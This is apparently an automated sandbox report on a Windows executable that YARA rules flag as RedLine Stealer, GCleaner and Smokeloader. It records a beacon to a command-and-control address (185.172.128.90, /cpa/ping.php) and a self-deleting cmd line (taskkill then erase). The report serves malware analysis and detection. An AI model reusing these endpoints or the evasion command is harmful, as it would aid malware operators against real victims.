C:\ProgramData\Microsoft\Windows\WER\Temp\WEREBBB.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4619
Entropy (8bit):	4.503152776360678
Encrypted:	false
SSDEEP:	48:cvIwWl8zsZiJg77aI9PsWpW8VYNYm8M4JHCF0j+q8FevkiPJq05d:uIjfZwI7VF7VhJxmiM05d
MD5:	0F1C91995AE599D5A4DA1D8CAC9D41C9
SHA1:	8A59F6D3603B8EFF9F4CB6B0B9FD8339681ED11D
SHA-256:	F23AA9CA062AEF3DDBC491639B2D00364159B1AB80E50004E2F10F20216EF38A
SHA-512:	47CE994D02F7AF8F96C084166F987B2362CAE3C1AC09CBCF779D3E9F12C060900E601585C7B81CB026E359D56E2C46BA6DFDB767DC952D887C0D485F39F9EE79
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="287067" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\ping[1].htm

Download File

Process:	C:\Users\user\Desktop\xQXHoWMKoa.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Preview:	0

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.421560973691599
Encrypted:	false
SSDEEP:	6144:HSvfpi6ceLP/9skLmb0OTMWSPHaJG8nAgeMZMMhA2fX4WABlEnN/0uhiTwQ:yvloTMW+EZMM6DFyF03wQ
MD5:	43490431F7DAE4DA341C58DEF8C1A1B3
SHA1:	D043F0732315D32E239DDF31CFC6799D89807131
SHA-256:	05500FC7E033EA0B34C9FB4C21881B4FB1F44232CB56FC779B4F987B0EFCF917
SHA-512:	5FA8A978475B74A9F5FFCF22EE12A9095F9C104D69EFBD4A517C14771779EF8D2DDAD8366F15F8B98CFA89A95F64E583AC11749947B364FE1CD7CBF615F7B779
Malicious:	false
Preview:	regfD...D....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm...}~...............................................................................................................................................................................................................................................................................................................................................V..I........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.6356736263357785
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	xQXHoWMKoa.exe
File size:	350'720 bytes
MD5:	b6e4dc4fd0cc50fbb1236fe1108b886d
SHA1:	ca17fc4111dbc08551aabe0e890c337448a19eda
SHA256:	114aa6cb595ed49423707788c3a06a79e250d23d0615108cbb3fb5bdd20af5c8
SHA512:	eaebb7b46714e2e15fd604383f5c7bb092c7f2669edf1c462544aeb3a11a38b8feacdfae7b78fe6cc0b96c6764909dad7e249c0d31320a26c5df1fa1c911dfbb
SSDEEP:	3072:FGSlqrvGown4AMsIqQk+ooNKeDe0T+ZvcXwR+YKZfwmuF5GZ4WDm/5O5XP0hd5A/:FanwpoNfe0Tb0aBwmuWaWa/5ORMAQOo
TLSH:	9474AE02B2E1E870E57347324EADD6F4663EFD718E696B6B33585E0F14B01A1D622723
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........e.....................................................l...............l.......Rich............PE..L....2.d...................

File Icon


Icon Hash:	63796de171636e0f

Static PE Info

General

Entrypoint:	0x4068fb
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x64E63208 [Wed Aug 23 16:21:28 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	5ec6dee0bb8cb06d2e2fd45ee1c1fbf4

Entrypoint Preview

Instruction
call 00007F31E0BE5299h
jmp 00007F31E0BDACF5h
push 00000014h
push 00424C50h
call 00007F31E0BE21A4h
call 00007F31E0BDD0E3h
movzx esi, ax
push 00000002h
call 00007F31E0BE522Ch
pop ecx
mov eax, 00005A4Dh
cmp word ptr [00400000h], ax
je 00007F31E0BDACF6h
xor ebx, ebx
jmp 00007F31E0BDAD25h
mov eax, dword ptr [0040003Ch]
cmp dword ptr [eax+00400000h], 00004550h
jne 00007F31E0BDACDDh
mov ecx, 0000010Bh
cmp word ptr [eax+00400018h], cx
jne 00007F31E0BDACCFh
xor ebx, ebx
cmp dword ptr [eax+00400074h], 0Eh
jbe 00007F31E0BDACFBh
cmp dword ptr [eax+004000E8h], ebx
setne bl
mov dword ptr [ebp-1Ch], ebx
call 00007F31E0BE1A7Ah
test eax, eax
jne 00007F31E0BDACFAh
push 0000001Ch
call 00007F31E0BDADD1h
pop ecx
call 00007F31E0BE126Eh
test eax, eax
jne 00007F31E0BDACFAh
push 00000010h
call 00007F31E0BDADC0h
pop ecx
call 00007F31E0BE52A5h
and dword ptr [ebp-04h], 00000000h
call 00007F31E0BE444Bh
test eax, eax
jns 00007F31E0BDACFAh
push 0000001Bh
call 00007F31E0BDADA6h
pop ecx
call dword ptr [0041B0D0h]
mov dword ptr [01A10984h], eax
call 00007F31E0BE52C0h
mov dword ptr [0044882Ch], eax
call 00007F31E0BE4C63h
test eax, eax
jns 00007F31E0BDACFAh

Rich Headers

Programming Language:

[ASM] VS2013 build 21005
[C++] VS2013 build 21005
[ C ] VS2013 build 21005
[IMP] VS2008 SP1 build 30729
[RES] VS2013 build 21005
[LNK] VS2013 UPD5 build 40629

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25204	0x64	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1611000	0xeb98	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1b220	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x23cf0	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x23ca8	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1b000	0x1a0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x194ea	0x19600	afe1796fe6e1890621cf9721b30bd9e1	False	0.5758255080049262	data	6.677259404856937	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x1b000	0xab9c	0xac00	2cee23bd9d6a184744abfc6e68e35e60	False	0.434070675872093	data	5.080401268951139	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x26000	0x15ea988	0x22800	00968b4e166063100821946111aa4334	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x1611000	0xeb98	0xec00	ed7005df57540379239efc5b8893e801	False	0.3357885328389831	data	4.136501915128529	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x161a8a8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.26439232409381663
RT_CURSOR	0x161b750	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.3686823104693141
RT_CURSOR	0x161bff8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.49060693641618497
RT_CURSOR	0x161c590	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 0			0.4375
RT_CURSOR	0x161c6c0	0xb0	Device independent bitmap graphic, 16 x 32 x 1, image size 0			0.44886363636363635
RT_CURSOR	0x161c798	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.27238805970149255
RT_CURSOR	0x161d640	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.375
RT_CURSOR	0x161dee8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.5057803468208093
RT_ICON	0x1611640	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Romanian	Romania	0.5362903225806451
RT_ICON	0x1611d08	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Romanian	Romania	0.4095435684647303
RT_ICON	0x16142b0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Romanian	Romania	0.4441489361702128
RT_ICON	0x1614748	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Romanian	Romania	0.4898720682302772
RT_ICON	0x16155f0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Romanian	Romania	0.4657039711191336
RT_ICON	0x1615e98	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Romanian	Romania	0.43713872832369943
RT_ICON	0x1616400	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Romanian	Romania	0.2774896265560166
RT_ICON	0x16189a8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Romanian	Romania	0.28588180112570355
RT_ICON	0x1619a50	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Romanian	Romania	0.3073770491803279
RT_ICON	0x161a3d8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Romanian	Romania	0.3421985815602837
RT_STRING	0x161e660	0x3f4	data	Romanian	Romania	0.4644268774703557
RT_STRING	0x161ea58	0x48a	data	Romanian	Romania	0.45008605851979344
RT_STRING	0x161eee8	0x13e	data	Romanian	Romania	0.5283018867924528
RT_STRING	0x161f028	0x35e	data	Romanian	Romania	0.46867749419953597
RT_STRING	0x161f388	0x55e	data	Romanian	Romania	0.44250363901018924
RT_STRING	0x161f8e8	0x2ac	data	Romanian	Romania	0.4722222222222222
RT_GROUP_CURSOR	0x161c560	0x30	data			0.9375
RT_GROUP_CURSOR	0x161c770	0x22	data			1.0588235294117647
RT_GROUP_CURSOR	0x161e450	0x30	data			0.9375
RT_GROUP_ICON	0x1614718	0x30	data	Romanian	Romania	0.9375
RT_GROUP_ICON	0x161a840	0x68	data	Romanian	Romania	0.7019230769230769
RT_VERSION	0x161e480	0x1e0	data			0.5604166666666667

Imports

DLL	Import
KERNEL32.dll	GetNumaProcessorNode, GetLocaleInfoA, LoadLibraryExW, GetTickCount, CreateRemoteThread, GetWindowsDirectoryA, GetVolumeInformationA, LoadLibraryW, ReadConsoleInputA, ReadProcessMemory, WriteConsoleW, GetModuleFileNameW, GetCompressedFileSizeA, GetTempPathW, SetThreadLocale, GetLastError, FindVolumeMountPointClose, VirtualAlloc, FindFirstChangeNotificationW, CopyFileA, SetStdHandle, SetFileAttributesA, LoadLibraryA, WriteConsoleA, LocalAlloc, SetCalendarInfoW, CreateHardLinkW, GetExitCodeThread, GetNumberFormatW, AddAtomW, RemoveDirectoryW, GlobalFindAtomW, GetOEMCP, VirtualProtect, AddConsoleAliasA, CreateFileW, CreateTimerQueueTimer, GetSystemDefaultLangID, OutputDebugStringW, FlushFileBuffers, WideCharToMultiByte, MultiByteToWideChar, GetStringTypeW, EncodePointer, DecodePointer, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, HeapFree, IsProcessorFeaturePresent, GetCommandLineA, GetCPInfo, RaiseException, RtlUnwind, HeapAlloc, UnhandledExceptionFilter, SetUnhandledExceptionFilter, SetLastError, InitializeCriticalSectionAndSpinCount, Sleep, GetCurrentProcess, TerminateProcess, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetStartupInfoW, GetModuleHandleW, GetProcAddress, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, IsValidCodePage, GetACP, GetCurrentThreadId, IsDebuggerPresent, GetProcessHeap, ExitProcess, GetModuleHandleExW, HeapSize, GetStdHandle, GetFileType, CloseHandle, GetModuleFileNameA, WriteFile, QueryPerformanceCounter, GetCurrentProcessId, GetSystemTimeAsFileTime, GetEnvironmentStringsW, FreeEnvironmentStringsW, HeapReAlloc, ReadFile, SetFilePointerEx, GetConsoleCP, GetConsoleMode
USER32.dll	GetMenuItemID
GDI32.dll	GetCharacterPlacementW
WINHTTP.dll	WinHttpConnect

Possible Origin

Language of compilation system	Country where language is spoken	Map
Romanian	Romania

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
04/19/24-19:24:58.164548	TCP	2856233	ETPRO TROJAN Win32/Unknown Loader Related Activity (GET)	49705	80	192.168.2.5	185.172.128.90

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 19, 2024 19:24:57.961867094 CEST	49705	80	192.168.2.5	185.172.128.90
Apr 19, 2024 19:24:58.164206028 CEST	80	49705	185.172.128.90	192.168.2.5
Apr 19, 2024 19:24:58.164305925 CEST	49705	80	192.168.2.5	185.172.128.90
Apr 19, 2024 19:24:58.164547920 CEST	49705	80	192.168.2.5	185.172.128.90
Apr 19, 2024 19:24:58.366190910 CEST	80	49705	185.172.128.90	192.168.2.5
Apr 19, 2024 19:24:59.690429926 CEST	80	49705	185.172.128.90	192.168.2.5
Apr 19, 2024 19:24:59.690536022 CEST	49705	80	192.168.2.5	185.172.128.90
Apr 19, 2024 19:25:00.888226986 CEST	49705	80	192.168.2.5	185.172.128.90

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Apr 19, 2024 19:25:11.992130041 CEST	1.1.1.1	192.168.2.5	0x5813	No error (0)	bg.microsoft.map.fastly.net	199.232.214.172	A (IP address)	IN (0x0001)	false
Apr 19, 2024 19:25:11.992130041 CEST	1.1.1.1	192.168.2.5	0x5813	No error (0)	bg.microsoft.map.fastly.net	199.232.210.172	A (IP address)	IN (0x0001)	false
Apr 19, 2024 19:26:12.754826069 CEST	1.1.1.1	192.168.2.5	0x63f1	No error (0)	bg.microsoft.map.fastly.net	199.232.210.172	A (IP address)	IN (0x0001)	false
Apr 19, 2024 19:26:12.754826069 CEST	1.1.1.1	192.168.2.5	0x63f1	No error (0)	bg.microsoft.map.fastly.net	199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

185.172.128.90

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	185.172.128.90	80	1088	C:\Users\user\Desktop\xQXHoWMKoa.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 19:24:58.164547920 CEST	411	OUT	GET /cpa/ping.php?substr=one&s=two HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 185.172.128.90 Connection: Keep-Alive Cache-Control: no-cache
Apr 19, 2024 19:24:59.690429926 CEST	204	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 17:24:58 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Target ID:	0
Start time:	19:24:51
Start date:	19/04/2024
Path:	C:\Users\user\Desktop\xQXHoWMKoa.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\xQXHoWMKoa.exe"
Imagebase:	0x400000
File size:	350'720 bytes
MD5 hash:	B6E4DC4FD0CC50FBB1236FE1108B886D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.2080339469.0000000001C7E000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_GCleaner, Description: Yara detected GCleaner, Source: 00000000.00000003.2002198477.0000000003670000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GCleaner, Description: Yara detected GCleaner, Source: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_GCleaner, Description: Yara detected GCleaner, Source: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	19:24:52
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 1088 -s 732
Imagebase:	0xc90000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	19:24:53
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 1088 -s 752
Imagebase:	0xc90000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	19:24:54
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 1088 -s 768
Imagebase:	0xc90000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	19:24:54
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 1088 -s 780
Imagebase:	0x7ff6d64d0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	19:24:55
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 1088 -s 920
Imagebase:	0xc90000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	19:24:56
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 1088 -s 1020
Imagebase:	0xc90000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	19:24:58
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 1088 -s 1364
Imagebase:	0xc90000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	19:24:59
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c taskkill /im "xQXHoWMKoa.exe" /f & erase "C:\Users\user\Desktop\xQXHoWMKoa.exe" & exit
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	19:24:59
Start date:	19/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	19:24:59
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /im "xQXHoWMKoa.exe" /f
Imagebase:	0xa10000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	2.6%
Dynamic/Decrypted Code Coverage:	7.6%
Signature Coverage:	12.3%
Total number of Nodes:	408
Total number of Limit Nodes:	6

Executed Functions

Function 00404710 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 375
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__Init_thread_footer.LIBCMT ref: 004048A9
std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00404A6A

Strings

`a}{, xrefs: 00404853

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: Init_thread_footerIos_base_dtorstd::ios_base::_
String ID: `a}{
API String ID: 3517786926-238102023
Opcode ID: a28d067b673e4862f0d24dd7c906e2c321e184e2e2a33fc9e0058b8c04127d85
Instruction ID: 9427e19ead8f3d50910af521d41c25a3c8ebb436c11f4314b196e74ea4968ea8
Opcode Fuzzy Hash: a28d067b673e4862f0d24dd7c906e2c321e184e2e2a33fc9e0058b8c04127d85
Instruction Fuzzy Hash: 99E1E5B5A002048BCB18DF58C985B9EB7B1FF85304F1481AED945A73D1D738AE85CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040C681 Relevance: 4.5, APIs: 3, Instructions: 20
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,0040C680,00000000,?,?,00000000,?,00410FF0), ref: 0040C6A3
TerminateProcess.KERNEL32(00000000,?,0040C680,00000000,?,?,00000000,?,00410FF0), ref: 0040C6AA
ExitProcess.KERNEL32 ref: 0040C6BC

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 4074258ae3e92e5929474cff9357cd5b9568f201180147c8900c034a5ce98615
Instruction ID: 783588ce1970669c76067d45beb7604b368d491d8d891c7acf0b2a9c1a233be6
Opcode Fuzzy Hash: 4074258ae3e92e5929474cff9357cd5b9568f201180147c8900c034a5ce98615
Instruction Fuzzy Hash: CEE0BF75400108FFCB216F55DC49A9A3F69EB44345F048536F90596271CB3ADD82CA8C

Uniqueness

Uniqueness Score: -1.00%

Function 0364092B Relevance: 3.8, Strings: 3, Instructions: 90
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

GetProcAddress., xrefs: 036409DC, 036409DF, 036409E4
l, xrefs: 03640966
., xrefs: 0364095F

Memory Dump Source

Source File: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: 37b1bea8aaf521504bc57980894a8821de7146c84bcc4b8641c369474c972896
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: 22316CB6910619DFDB10CF99C980AAEFBF9FF48324F14504AD541AB310D771EA45CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 01C7F1BE Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 01C7F1E6
Module32First.KERNEL32(00000000,00000224), ref: 01C7F206

Memory Dump Source

Source File: 00000000.00000002.2080339469.0000000001C7E000.00000040.00000020.00020000.00000000.sdmp, Offset: 01C7E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c7e000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 9dfcb3746d09ba4bddc91637f9d178d4e4ad21d19e630489aa8d0fc888c36d54
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 22F09636500711ABE7203BF9E8CDB6E76ECAF4A625F10056CE656910C0DBB0E9458A61

Uniqueness

Uniqueness Score: -1.00%

Function 00401D70 Relevance: 28.3, APIs: 9, Strings: 7, Instructions: 311
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__cftof.LIBCMT ref: 00401EE0
InternetOpenA.WININET(?,?,?,00000000,00000000), ref: 00401EFB
InternetSetOptionA.WININET(00000000,00000041,?,00000004), ref: 00401F1E
InternetConnectA.WININET(00000000,00000000,00000050,?,?,00000003,00000000,00000001), ref: 00401F3F
HttpOpenRequestA.WININET(00000000,GET,00000000,00000000,00000000,00000000,80400000,00000001), ref: 00401F70
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00401F8B
InternetCloseHandle.WININET(00000000), ref: 00401FA2

Part of subcall function 00401D70: InternetSetFilePointer.WININET(?,00000000,00000000,00000000,00000000), ref: 00401915
Part of subcall function 00401D70: InternetReadFile.WININET(?,00000000,000003E8,00000000), ref: 00401934
Part of subcall function 00401D70: HttpQueryInfoA.WININET(?,0000001D,?,00000103,00000000), ref: 004019C8

InternetCloseHandle.WININET(00000000), ref: 00401FA5

